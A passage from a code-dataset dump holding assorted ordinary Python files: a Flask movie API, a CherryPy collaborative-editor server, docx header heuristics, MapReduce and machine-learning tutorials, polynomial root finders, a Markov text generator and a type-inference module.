Delete\"})\n try:\n genres=MovieGenre.query.filter_by(MovieID=movieID).all()\n for genre in genres:\n #genreRecord=Genre.query.all()\n db.session.delete(genre)\n db.session.delete(movie)\n db.session.commit()\n result={\"message\":str(movieID)+\" ID Record Deleted successfully!\"}\n except:\n result={\"message\":str(movieID)+\" ID Record Deletion Failed!!!\"}\n return jsonify(result)\n\n@API.route('/updateMovie/',methods=[\"POST\"])\n@admin_token_required\ndef updateMovieByID(current_user,movieID):\n \"\"\"\n **Access to admin only**\n Will search movies on the basis of Movie ID and update them if it exist with json passed in data.\n Input: Movie ID in url which will perform updation on movie ID.\n Respond: Message with status\n \"\"\"\n data=request.get_json()\n if not data:\n return jsonify({\"error\":\"401\",\"message\":\"Please provide Data in JSON format\"})\n movie=Movies.query.filter_by(id=movieID).first()\n if not movie:\n return jsonify({\"error\":\"401\",\"message\":\"Record not found, enter valid movie ID to Update\"})\n try:\n try:\n name=data['name']\n movie.name=name\n except:\n pass\n try:\n popularity99=data['99popularity']\n movie.popularity99=popularity99\n except:\n pass\n try:\n director=data['director']\n movie.director=director\n except:\n pass\n try:\n imdb_score=data['imdb_score']\n movie.imdb_score=imdb_score\n except:\n pass\n try:\n genres=data['genre']\n genresDel=MovieGenre.query.filter_by(MovieID=movieID).all()\n for genre in genresDel:\n #genreRecord=Genre.query.all()\n db.session.delete(genre)\n db.session.commit()\n for genre in genres:\n movieGenre=MovieGenre(MovieID=movieID,Genre=genre)\n db.session.add(movieGenre)\n except:\n pass\n db.session.commit()\n result={\"message\":str(movieID)+\" ID Record updated successfully!\"}\n except:\n #db.session.commit()\n result={\"message\":str(movieID)+\" ID Record updation Failed!!!\"}\n return jsonify(result)\n","sub_path":"ImdbAPI.py","file_name":"ImdbAPI.py","file_ext":"py","file_size_in_byte":7468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"139933572","text":"#!/usr/bin/python3\nimport os\nimport cherrypy\nimport uuid\nimport smtplib\n\nfrom ws4py.server.cherrypyserver import WebSocketPlugin, WebSocketTool\nfrom ws4py.websocket import WebSocket\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\n\nservername = 'localhost'\nserverport = 9000\nemailserver = 'localhost'\n\ncherrypy.config.update({'server.socket_port': serverport})\nWebSocketPlugin(cherrypy.engine).subscribe()\ncherrypy.tools.websocket = WebSocketTool()\n\nsessions = {}\n\ndef send_invite(session, invite):\n try:\n (itype, idata) = invite.split(\"?\")\n except:\n print(\"Couldn't get invite data from %s\" % invite)\n return\n\n print(\"Sending invite to '%s' via '%s'\" % (idata, itype))\n\n if itype == \"email\":\n msg = MIMEMultipart('alternative')\n msg['Subject'] = \"Invitation to A Collaborative Editor session\"\n msg['From'] = \"ace@\" + servername\n msg['To'] = idata\n link = 'http://' + servername + ':' + str(serverport) + '/?s=' + session\n\n text = \"You've been invited to join A Collaborative Editor session.\\n\"\n text += \"Copy and paste the following link into your web browser:\\n\\n\"\n text += link\n\n html = \"\"\n html += \"

You've been invited to join A Collaborative Editor session.\"\n html += \"

Visit the following link to join:

\"\n html += '

' + link + '

'\n html += \"\"\n\n part1 = MIMEText(text, 'plain')\n part2 = MIMEText(html, 'html')\n\n msg.attach(part1)\n msg.attach(part2)\n s = smtplib.SMTP(emailserver)\n s.sendmail(msg['From'], msg['To'], msg.as_string())\n s.quit()\n\n #elif itype == \"google\":\n else:\n print(\"Unknown invitation method '%s'\" % itype)\n\n# implements ws4py.websocket.WebSocket\nclass WebSocketHandler(WebSocket):\n @cherrypy.expose\n def received_message(self, m):\n global sessions\n print(\"%s\" % m.data)\n msgtype = chr(m.data[0])\n msg = m.data[1:].decode(\"utf-8\")\n if msgtype == 'S':\n self.channel = msg\n cherrypy.engine.subscribe(self.channel, self.broadcast)\n self.send(m.data)\n elif msgtype == 'C':\n cherrypy.engine.publish('websocket-broadcast', m)\n elif msgtype == 'G':\n self.send('L')\n elif msgtype == 'i':\n send_invite(self.channel, msg)\n elif msgtype == 'A':\n self.user = msg\n cherrypy.engine.publish(self.channel, self.uuid, m)\n if sessions.get(self.channel, None) is None:\n sessions[self.channel] = self.user\n else:\n cherrypy.engine.publish(self.channel, self.uuid, 'R')\n self.send('A%s' % sessions[self.channel])\n elif msgtype == 'I' or msgtype == 'H' or msgtype == 'h' or \\\n msgtype == 'M' or msgtype == 'D':\n cherrypy.engine.publish(self.channel, self.uuid, m)\n else:\n print(\"Unknown message type '%s'\" % msgtype)\n #cherrypy.engine.publish(self.channel, self.uuid, m)\n\n @cherrypy.expose\n def opened(self):\n self.uuid = str(uuid.uuid4())\n\n @cherrypy.expose\n def broadcast(self, uuid, data):\n if uuid != self.uuid: self.send(data)\n\n @cherrypy.expose\n def closed(self, code, reason=None):\n global sessions\n try:\n cherrypy.engine.unsubscribe(self.channel, self.broadcast)\n cherrypy.engine.publish(self.channel, self.uuid, 'Anone')\n if sessions[self.channel] == self.user:\n del(sessions[self.channel])\n except:\n pass\n print(\"Session closed for %s\" % self.uuid)\n\nclass Root(object):\n @cherrypy.expose\n def index(self, s = None):\n if s is None or s == '': s = uuid.uuid4().hex\n htmlfile = open('ace.html', 'r')\n htmlpage = htmlfile.read()\n htmlpage = htmlpage.replace('__ACE_HOST__', servername)\n htmlpage = htmlpage.replace('__ACE_PORT__', str(serverport))\n htmlpage = htmlpage.replace('__ACE_SESSION__', s)\n return htmlpage\n\n @cherrypy.expose\n def ws(self):\n handler = cherrypy.request.ws_handler\n\ncherrypy.quickstart(Root(), '/', config={\n '/': {\n 'tools.staticdir.root': os.path.abspath(os.getcwd()),\n },\n '/ace': {\n 'tools.staticdir.on': True,\n 'tools.staticdir.dir': './ace',\n },\n '/ws': {\n 'tools.websocket.on': True,\n 'tools.websocket.handler_cls': WebSocketHandler,\n }\n })\n","sub_path":"ace-server.py","file_name":"ace-server.py","file_ext":"py","file_size_in_byte":4621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"596941647","text":"\"\"\"\nModule contains criteria functions to define what conditions make a paragraph a section header.\nEach function should return True if the paragraph meet the specific criterion to be a section header\n\nNOTE: These criteria are necessary as there is not an exact method to determine a section header\ndue to inconsistencies in the way documents are created. For instance, some documents use table of contents and\nattach style attributes to the text, while others do not. Additionally, the definition of a section is partially\na personal preference. Thus, these criteria are merely heuristics to get as close as possible to\nseparating the different sections in a document .\n\"\"\"\n\nimport string\n\n\ndef heading(p):\n \"\"\"has Header formatting (common for table of contents section headers)\"\"\"\n if 'HEADING' in p.style.name.upper():\n return True\n\n\ndef capitalization(p):\n \"\"\"has capitalization of every letter\"\"\"\n if p.text.isupper():\n return True\n\n\ndef style(p, use_bold=True, use_underline=True, use_bold_until_colon=True):\n \"\"\"uses bold, underline, or colon text style criteria\"\"\"\n bold_runs = []\n underline_runs = []\n colon_runs = []\n colon_continue = True\n for run in p.runs:\n # ignore runs (style) for blank space at end of sentence\n if run.text.strip() == '':\n continue\n if use_underline:\n underline_runs.append(run.underline)\n if use_bold:\n bold_runs.append(run.bold)\n if use_bold_until_colon:\n # keep adding runs until a colon is found\n # for sections that have bold text until colon\n # (e.g. SECTION: ...)\n if colon_continue:\n colon_runs.append(run.bold)\n if ':' in run.text:\n colon_continue = False\n bold_cond = all(bold_runs) and bold_runs != list()\n underline_cond = all(underline_runs) and underline_runs != list()\n colon_cond = all(colon_runs) and colon_runs != list()\n if bold_cond or underline_cond or colon_cond:\n return True\n\n\ndef capital_letter_list(p):\n \"\"\" uses list items that start with a capital letter\n e.g. A. section text\n B. section text\n C. section text\n \"\"\"\n\n upper_case_letters = [''.join([char, '. ']) for char in string.ascii_uppercase]\n upper_case_letter_list = (p.text.strip()[0:3] in upper_case_letters)\n if upper_case_letter_list:\n return True\n\n\ndef roman_numeral_list(p):\n \"\"\" find list items that start with a roman_numeral\n e.g. I. section text\n II. section text\n III. section text\n\n NOTE: this function only identifies roman numerial up to XII\n \"\"\"\n\n one_letter_numeral = (p.text.strip()[0:3] in ['I. ', 'V. ', 'X. '])\n two_letter_numeral = (p.text.strip()[0:4] in ['II. ', 'IV. ', 'VI. ', 'IX. ', 'XI. '])\n three_letter_numeral = (p.text.strip()[0:5] in ['III. ', 'VII. ', 'XII. '])\n four_letter_numeral = (p.text.strip()[0:6] in ['VIII.'])\n roman_numeral_start = (one_letter_numeral or two_letter_numeral\n or three_letter_numeral or four_letter_numeral)\n if roman_numeral_start:\n return True\n\n\ndef ignore_bullets(p):\n \"\"\" bullets points are often converted into the letter 'O' followed by a space.\n Sections rarely start with a bullet point.\n \"\"\"\n\n if p.text.strip()[0:2] in ['o ', 'O ']:\n return False\n","sub_path":"project/documents/section_criteria.py","file_name":"section_criteria.py","file_ext":"py","file_size_in_byte":3421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"287523267","text":"\"\"\"\n题目描述\n计算字符串最后一个单词的长度,单词以空格隔开。\n\n输入描述:\n输入一行,代表要计算的字符串,非空,长度小于5000。\n\n输出描述:\n输出一个整数,表示输入字符串最后一个单词的长度。\n\"\"\"\n\ndef count_final_num():\n str = input(\"请输入字符串:\")\n for i in range(1,len(str)+1):\n if str[-i] == \" \":\n text = str[-1:-i:-1]\n lens = len(text)\n # print(text)\n # print(lens)\n break\n else:\n lens = len(str)\n return lens\n\n\n\nif __name__ == '__main__':\n print(count_final_num())\n","sub_path":"lee_code/最后字符串的长度.py","file_name":"最后字符串的长度.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"439722404","text":"from mrjob.job import MRJob\nfrom mrjob.step import MRStep\n\nclass MRSpentByCustomer(MRJob):\n \"\"\"Mapper-Reducer for knowing the average amount spent by customers\"\"\"\n def steps(self):\n return [\n MRStep(mapper=self.mapper_get_avg, reducer=self.reducer_count_avg),\n MRStep(mapper=self.mapper_make_avg_key, reducer= self.output)\n ]\n\n def mapper_get_avg(self, _, line):\n (customer, item, order_amount) = line.split(',')\n yield customer, float(order_amount)\n\n def reducer_count_avg(self, customer, orders):\n total = 0\n num_orders = 0\n for i in orders:\n total += i\n num_orders+=1\n yield customer, (total/num_orders)\n\n def mapper_make_avg_key(self, customer, avg):\n yield '%04.02f'%float(avg), customer\n\n def output(self, avg, customers): \n for cust_id in customers:\n yield cust_id, avg\n \nif __name__ == '__main__':\n MRSpentByCustomer.run()","sub_path":"Basic/spent_by_customer/spent_by_customers.py","file_name":"spent_by_customers.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"347497651","text":"import math\n\ndef PolyEval(c,x):\n xn = 1.0\n c = list(reversed(c))\n res = 0.0\n for i in range(0,len(c)):\n res += xn*c[i]\n xn *= x\n return res\n\ndef HornerIt(c,x):\n res = 0.0\n for i in range(len(c)):\n res = res*x+c[i]\n return res\n \ndef HornerRec(c,x):\n if len(c)==1:\n return c[0]\n return HornerRec(c[:-1],x)*x+c[-1]\n\ndef PolyDeriv(c):\n if len(c) == 1:\n return [0]\n res = []\n n = float(len(c)-1)\n for i in c[:-1]:\n res.append(n*i)\n n -= 1.0\n return res\n\n\n\ndef Sign(x,e):\n return ((x-e)>0.0)-((x+e)<0.0)\n\n\ndef Biseccion(f,a,b,e):\n sfa = Sign(PolyEval(f,a),e)\n sfb = Sign(PolyEval(f,b),e)\n ret = []\n if (sfa*sfb>0):\n return ret\n p = (a+b)/2.0\n if sfa == 0:\n ret.append(a)\n if sfb == 0:\n ret.append(b)\n if (len(ret)>0):\n return ret\n while (b-a)>e and abs(PolyEval(f,p))>e:\n sfp = Sign(PolyEval(f,p),e)\n if sfa*sfp<=0:\n b = p\n else:\n a = p\n p = (a+b)/2\n return [p]\n\nv0 = 1\n \ndef PolyCerosBiseccion(c,e):\n if (len(c)==1):\n if (abs(c[0])e):\n # print (x)\n x = xp\n xp = Next(c,x)\n return [x]\n \ndef PolyCerosNewton(c,e):\n #print(c)\n if (len(c)==1):\n if (abs(c[0]) abs(denoma)):\n denom = denomb\n return x1-2.0*PolyEval(c,x1)/denom\n xn = Next(c,x1,x2,x3)\n while(abs(xn-x1)>e):\n x1,x2,x3 = xn,x1,x2\n xn = Next(c,x1,x2,x3)\n return [x1]","sub_path":"PC/trabajo1.1/t.py","file_name":"t.py","file_ext":"py","file_size_in_byte":3008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"250240249","text":"\"\"\"\nDeep convolutional MNIST classifier: SoftMax Regression Model with single linear\nlayer\nFrom Tutorial: C++ Backend for efficient optimization\n\nTensorFlow lets us describe a graph of interacting operations that run entirely\noutside Python. This approach is similar to that used in Theano or Torch. Here we\nbuild external graph and dictate which to be run. In this sense, Python is\na front-end for the heavy lifting operations that happen in the backend.\n\"\"\"\nimport numpy as np\nnp.set_printoptions(threshold=np.nan)\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\nmnist = input_data.read_data_sets('MNIST_data', one_hot=True)\n\n# TF applications first create and launch computational graph in a session\n# If you are not using an InteractiveSession, then you should build the entire\n#computation graph before starting a session and launching the graph.\nsess = tf.InteractiveSession()\n\n# Placeholder is symbolic value\nx = tf.placeholder(tf.float32, [None, 784])\n\n# A Variable is a value that lives in TensorFlow's computation graph; Modifiable\n# Tensor. Before Variables can be used within a session, they must be\n# initialized using that session.\nW = tf.Variable(tf.zeros([784, 10]))\nb = tf.Variable(tf.zeros([10]))\n\n# takes the initial values (in this case tensors full of zeros) that have\n# already been specified, and assigns them to each Variable. This can\n# be done for all Variables at once.\nsess.run(tf.initialize_all_variables())\n\ny = tf.nn.softmax(tf.matmul(x, W) + b)\ny_ = tf.placeholder(tf.float32, [None, 10])\n\n# We are computing the cross entropy for the entire minibatch.\ncross_entropy = -tf.reduce_sum(y_*tf.log(y))\n\n# Because TensorFlow knows the entire computation graph, it can use\n# automatic differentiation to find the gradients. Line of code adds new\n# operations to the computation graph. These operations included ones to\n# compute gradients, compute parameter update steps, and apply update steps to the parameters.\ntrain_step = tf.train.GradientDescentOptimizer(0.01).minimize(cross_entropy)\n\nfor i in range(1000):\n batch = mnist.train.next_batch(50)\n # using feed_dict to replace the placeholder tensors x and y_ with the training examples.\n train_step.run(feed_dict={x: batch[0], y_: batch[1]})\n print(sess.run(W))\n\n# argmax gives you the index of the highest entry in a tensor along some axis.\ncorrect_prediction = tf.equal(tf.argmax(y,1), tf.argmax(y_,1))\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, \"float\"))\nprint(accuracy.eval(feed_dict={x: mnist.test.images, y_: mnist.test.labels}))\n\n","sub_path":"tutorial_1/mnist.py","file_name":"mnist.py","file_ext":"py","file_size_in_byte":2567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"137582162","text":"from django.utils.translation import gettext_lazy\n\ntry:\n from pretix.base.plugins import PluginConfig\nexcept ImportError:\n raise RuntimeError(\"Please use pretix 2.7 or above to run this plugin!\")\n\n__version__ = \"1.0.1\"\n\n\nclass PluginApp(PluginConfig):\n name = \"pretix_vacc_autosched\"\n verbose_name = \"Vaccination: Automatic scheduling of second dose\"\n\n class PretixPluginMeta:\n name = gettext_lazy(\"Vaccination: Automatic scheduling of second dose\")\n author = \"pretix team\"\n description = gettext_lazy(\"Automatic scheduling of second dose after checkin\")\n visible = True\n version = __version__\n category = \"FEATURE\"\n compatibility = \"pretix>=3.15.0\"\n\n def ready(self):\n from . import signals # NOQA\n\n\ndefault_app_config = \"pretix_vacc_autosched.PluginApp\"\n","sub_path":"pretix_vacc_autosched/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"76654028","text":"from compiler import *\n\n\ndef main(code: str):\n result = parser.parse(\n code, tracking=True,\n # debug=True\n )\n\n if not parser.errors and not lexer.errors:\n return repr(result)\n else:\n exit(1)\n\n\nif __name__ == '__main__':\n with open('example.cmmm', 'r') as c:\n with open('example.s', 'w') as a:\n a.write(\"// example.s\\n\" + main(c.read()))\n","sub_path":"sources/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"649896319","text":"\"\"\"empty message\n\nRevision ID: 5cfa81783bc1\nRevises: 43f0ceca735f\nCreate Date: 2021-08-23 11:04:39.307677\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '5cfa81783bc1'\ndown_revision = '43f0ceca735f'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('users', sa.Column('created_at', sa.DateTime(), nullable=True))\n op.add_column('users', sa.Column('updated_at', sa.DateTime(), nullable=True))\n op.add_column('users', sa.Column('bio', sa.Text(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('users', 'bio')\n op.drop_column('users', 'updated_at')\n op.drop_column('users', 'created_at')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/5cfa81783bc1_.py","file_name":"5cfa81783bc1_.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"102854961","text":"import json\nfrom .Camera import initSetup, getFingersValue, stop\nfrom channels.generic.websocket import WebsocketConsumer\n\nclass FingerConsumer(WebsocketConsumer):\n\n def connect(self):\n self.accept()\n initSetup()\n\n try:\n while True:\n data = getFingersValue()\n if data == 'Naal':\n print('Naal')\n break\n if not data:\n break\n\n if data['Finger'] != '':\n\n self.send(json.dumps(data))\n except Exception as e:\n print('Error', e)\n\n\n\n def receive(self, text_data=None, bytes_data=None):\n pass\n\n def disconnect(self, code):\n print('Stopping Camera ')\n stop()\n","sub_path":"GAME/Consumer.py","file_name":"Consumer.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"420089027","text":"import random\r\nimport re\r\nfrom sys import exit\r\n\r\n#Global variables\r\n\r\nwords=[] #Contains each word from the given file.\r\nwords_trinities=[] #Contains all the possible continuous trinities from the words of given file.\r\nfinaltxt=[] #Contains the words that will be finally printed based on a random triad of words,picked from words_trinities.\r\n\r\n\r\n#Functions\r\n\r\ndef split_into_words(line): #Split a given line into words.\r\n line=re.sub(r'http\\S+','',line) #Getting rid of links.\r\n line=re.sub(r'@\\S+','',line) #Getting rid of words starting with '@'.\r\n line=re.sub(r'#\\S+','',line) #Getting rid of words starting with '#'.\r\n line=re.sub(r' \\d+','',line)\r\n line=re.sub(r\"['’]\",'',line) #Getting rid of \" ' \" characters and converting them to \"\" in order to convert words such as \"it's\" to \"its\".\r\n line=re.sub(r'[^\\w\\s]',' ',line) #Getting rid of commas,periods etc and converting them to ' ' in order to have every word split by a space characters.\r\n\r\n return line.split()\r\n\r\n\r\ndef result(current_double):\r\n \"\"\"\r\n Gets a double set of words and matches them with the first 2 words of a triad from words_trinities and appends the third word from the\r\n particular triad into finaltxt list.This is a recursive function,calling itself whenever a match is made in order to start checking for\r\n a new triad,searching from the beggining of the text once again.\r\n \"\"\"\r\n global finaltxt,words_trinities\r\n i=0\r\n for triad in words_trinities:\r\n if len(finaltxt)>=200: #Max length of the resulting text is 200 words,return stops the recursive function.\r\n return\r\n i+=1\r\n if current_double[0]==triad[0] and current_double[1]==triad[1]: #A match is found.\r\n if triad[2]==finaltxt[-1]: #If the word we are going to append to finaltxt is same with finaltxt last word.\r\n del words_trinities[i]\r\n continue\r\n finaltxt.append(triad[2]) #Appending the last word of the certain triad.\r\n del words_trinities[i] #Deleting the triad we were using.\r\n del words_trinities[i] #Deleting the next triad because it's first two words are the same with the last 2 words in finaltxt.\r\n\r\n temp=[finaltxt[-2],finaltxt[-1]] #Picking the last 2 words from the final text.\r\n result(temp) #Calling the function with a new set of 2 words.\r\n\r\n\r\ndef file_to_words(filepath='two_cities.txt'):\r\n file=open(filepath,'r',encoding='utf-8')\r\n global words,words_trinities,finaltxt\r\n\r\n for line in file:\r\n temp=split_into_words(line.lower())\r\n if temp==[]:\r\n continue\r\n for word in temp:\r\n words.append(word)\r\n\r\n for i in range(0,len(words)-2): #Getting every single continous triad of words.\r\n temp=[words[i],words[i+1],words[i+2]]\r\n words_trinities.append(temp)\r\n\r\n random_num=random.randrange(len(words_trinities)) #Picking a random number to pick a random triad.\r\n random_triad=words_trinities[random_num]\r\n del words_trinities[random_num] #Deleting the random triad picked\r\n del words_trinities[random_num] #Deleting the following triad\r\n\r\n for word in random_triad:\r\n finaltxt.append(word)\r\n\r\n file.close()\r\n\r\n\r\n#Main program\r\n\r\nfile_path=input(\"Give the filepath (if filepath is not entered,it is initially set to the example file two_cities.txt): \")\r\nif file_path=='':\r\n try:\r\n print(\"Run the program a couple of times,sometimes a match isn't found with some triads.\\n\")\r\n file_to_words()\r\n except:\r\n print(\"Example file 'two_cities.txt' must have been deleted.\")\r\n exit()\r\nelse:\r\n try:\r\n print(\"Run the program a couple of times,sometimes a match isn't found with some triads.\\n\")\r\n file_to_words(file_path)\r\n except:\r\n print(\"File doesnt exist.\")\r\n exit()\r\n\r\nresult(finaltxt[1:])\r\nresult_text=''\r\n\r\nfor word in finaltxt:\r\n result_text+=word+' '\r\nprint(f\"Length: {len(finaltxt)}\\n\")\r\nprint(result_text)\r\n","sub_path":"ergasia4/ergasia4.py","file_name":"ergasia4.py","file_ext":"py","file_size_in_byte":4018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"496440675","text":"\nprint(\"Entrez des valeurs. Appuyez sur entrée une fois terminé.\")\n\nliste_valeurs = []\n\nwhile True:\n valeur = input(\"Saisir une valeur : \")\n if valeur:\n try:\n liste_valeurs.append(int(valeur))\n except ValueError:\n continue\n else:\n break\n\nprint(\"Valeurs entrées : \", liste_valeurs)\n\nfor i in range(len(liste_valeurs)):\n print(\"L'index\", i, \"contient la valeur\", liste_valeurs[i])\n\nsomme = 0\nfor i in range(len(liste_valeurs)):\n somme += liste_valeurs[i]\n\nprint(\"La somme des valeurs vaut\", somme)\n\nliste_multiple = []\nfor x in liste_valeurs:\n liste_multiple.append(x*3)\n\nprint(\"Liste des multiples\", liste_multiple)\n\nmax = 0\nfor a in liste_valeurs:\n if a > max:\n max = a\nprint(\"La valeur max est : \", max)\n\nmin = max\nfor a in liste_valeurs:\n if a < min:\n min = a\nprint(\"La valeur min est : \", min)\n\nliste_pair = []\n\nfor x in liste_valeurs:\n if x%2 == 0:\n liste_pair.append(x)\nprint(\"La liste des nombres pairs est : \", liste_pair)\n\nsomme_impair = 0\nfor x in liste_valeurs:\n if x%2 != 0:\n somme_impair += x\nprint(\"La somme des nombres impairs est : \", somme_impair)","sub_path":"Exercices Python/Exercices apcpedagogie YTB/exercice_liste.py","file_name":"exercice_liste.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"565535521","text":"L = [15 ,7, 27, 39]\np = int(input(\"Digite um dos valores a procurar: \"))\nv = int(input(\"Digite o outro valor a procurar: \"))\ncontador = 0\nachado = {p:0,v:0}\nwhile contador < len(L):\n if p == L[contador]:\n achado[p] = contador\n elif v == L[contador]:\n achado[v] = contador\n contador += 1\nif achado[p] == 0 and achado[v] == 0:\n print(f\"{p} e {v} não encontrados\")\nelif achado[p] == achado[v]:\n print(f\"{p} e {v} foram encontrados na posicação {achado[p]}\")\nelif achado[p] < achado[v]:\n print(f\"{p} foi achado primeiro na posição {achado[p]}\")\n print(f\"{v} foi achado em seguida na posição {achado[v]}\")\nelse:\n print(f\"{v} foi achado primeiro na posição {achado[v]}\")\n print(f\"{p} foi achado em seguida na posição {achado[p]}\")","sub_path":"Introdução à programação com Python/Cap 6/6.9.py","file_name":"6.9.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"195057632","text":"from sklearn import svm\nimport pandas as pd\nimport numpy as np\nimport os.path as osp\nfrom easydict import EasyDict as edict\nimport time\n\n# config\ncfg = edict()\ncfg.data_dir = 'data'\n\n# load train-test data\ntrain_data = pd.read_csv(osp.join(cfg.data_dir, 'train.csv'))\ntest_data = pd.read_csv(osp.join(cfg.data_dir, 'test.csv'))\n\n# process train data\ntrain_data = train_data.values\ntrain_label = train_data[:, 0]\ntrain_value = train_data[:, 1:] / 255.0\ntest_data = test_data.values / 255.0\n\n# train svm\nmodel = svm.NuSVC(max_iter=100)\nstart_time = time.time()\nmodel.fit(train_value, train_label)\nprint('Training Done, time cost {}'.format(time.time() - start_time))\n\n# inference\nstart_time = time.time()\npred_label = model.predict(test_data)\nprint('Inference Done, time cost {}'.format(time.time() - start_time))\n\n# write result\nresult = pd.DataFrame({\n 'ImageId': np.arange(1, test_data.shape[0] + 1, 1),\n 'Label': pred_label\n})\nresult.to_csv('result.csv', index=False)\n\n\n","sub_path":"DigitRecognizer/simple_svm.py","file_name":"simple_svm.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"110811455","text":"from itertools import zip_longest\nfrom typing import List\n\nfrom errors import CompilationException, Error\nfrom patterns.singleton import Singleton\nfrom position import Position\nfrom semantic.typing.global_to_local import GlobalToLocalTypeVisitor\nfrom semantic.typing.polym_type_name_setter import PolymorphTypeNameSetter\nfrom semantic.typing.types import is_polymorph_t, is_param_t\n\n\nclass TypesNotCompatibleException(CompilationException):\n def __init__(self, t1, t2, position: Position):\n super().__init__(Error(f'тип {t1} несовместим с типом {t2}', position))\n\n\nclass TypeWrapper:\n def __init__(self, t, do_replace_globals_with_locals=False):\n self.type = t\n self.do_replace_globals_with_locals = do_replace_globals_with_locals\n\n GlobalTypeInferer().type_wrappers.append(self)\n\n def replace_type(self, original, new):\n self.type.replace_type(original, new)\n\n if self.type == original:\n self.type = new\n\n\nclass TypeInferer:\n def __init__(self):\n self.constraints = []\n self.type_wrappers: List[TypeWrapper] = []\n\n def infer(self):\n for constraint in self.constraints:\n if is_param_t(constraint.left) and is_param_t(constraint.right) and \\\n not constraint.is_converted_to_simple_constraints:\n # Иногда при создании ограничения один или оба типа являются полиморфными, но когда вывод доходит до\n # них, то они могут состоять из двух параметрических типов, в таком случая необходимо создать новое\n # ограничение на основе данного и обработать именно новое.\n constraint = self.recreate_constraint(constraint)\n\n constraint.unify()\n\n def recreate_constraint(self, constraint):\n \"\"\"\n Возвращает новое ограничения на основе данного (причину см. в infer() и Constraint.__init__()).\n \"\"\"\n # TODO: см. комментарий к Constraint.__init__.\n return Constraint(constraint.left_wrapper,\n constraint.right_wrapper,\n constraint.expression,\n constraint.do_use_local_inferer,\n constraint.local_inferer,\n constraint.not_part_of_global,\n is_first_local_constraint=True,\n args=constraint.args,\n replace_right_globals=constraint.replace_right_globals)\n\n def replace_type(self, original, new):\n if original == new:\n return\n\n for wrapper in self.type_wrappers:\n wrapper.replace_type(original, new)\n\n def add_constraint(self, constraint):\n self.constraints.append(constraint)\n\n # self.type_wrappers.append(constraint.left_wrapper)\n # self.type_wrappers.append(constraint.right_wrapper)\n\n def dump(self) -> str:\n ns = PolymorphTypeNameSetter()\n return '\\n'.join([constraint.dump(ns) for constraint in self.constraints])\n\n\nclass GlobalTypeInferer(TypeInferer, metaclass=Singleton):\n \"\"\" Синглтон, глобальный вывод типов. \"\"\"\n\n def __init__(self):\n super().__init__()\n\n def replace(self, original, new):\n super().replace_type(original, new)\n\n # Замена типа в локальных выводах типов.\n for constraint in self.constraints:\n if constraint.do_use_local_inferer:\n constraint.local_inferer.replace_type(original, new, do_not_replace_in_global=True)\n\n\nclass LocalTypeInferer(TypeInferer):\n \"\"\" Локальный вывод типов. \"\"\"\n\n def __init__(self, first_local_constraint):\n super().__init__()\n self.first_local_constraint = first_local_constraint\n\n def global_to_locals(self):\n visitor = GlobalToLocalTypeVisitor()\n\n for constraint in self.constraints:\n # TODO: без not_part_of_global все тесты проходятся успешно. Возможно что-то без этого работать не будет.\n # Попробовать найти такой случай, добавить его в тесты и раскомментировать эти строки, иначе убрать из\n # Constraint.\n\n # if constraint.not_part_of_global:\n # continue\n\n constraint.left = visitor.visit(constraint.left)\n\n if constraint.replace_right_globals:\n constraint.right = visitor.visit(constraint.right)\n\n def recreate_constraint(self, constraint):\n # Отличие от TypeInferer.recreate_constraint() в том, что здесь ограничение всегда не являются первыми\n # локальными, а типы всегда сохранены в локальном выводе.\n return Constraint(constraint.left_wrapper,\n constraint.right_wrapper,\n constraint.expression,\n constraint.do_use_local_inferer,\n constraint.local_inferer,\n constraint.not_part_of_global,\n is_first_local_constraint=False,\n args=constraint.args,\n replace_right_globals=constraint.replace_right_globals)\n\n def infer(self):\n self.global_to_locals()\n super().infer()\n\n def replace_type(self, original, new, do_not_replace_in_global=False):\n super().replace_type(original, new)\n\n if not do_not_replace_in_global:\n GlobalTypeInferer().replace_type(original, new)\n\n\nclass Constraint:\n \"\"\" Ограничение, тождество типов. \"\"\"\n\n def __init__(self, left_wrapper: TypeWrapper, right_wrapper: TypeWrapper, expression,\n do_use_local_inferer=False, local_inferer=None, not_part_of_global=False,\n is_first_local_constraint=False, args=[], replace_right_globals=False):\n # TODO: конструктор имеет слишком большое количество 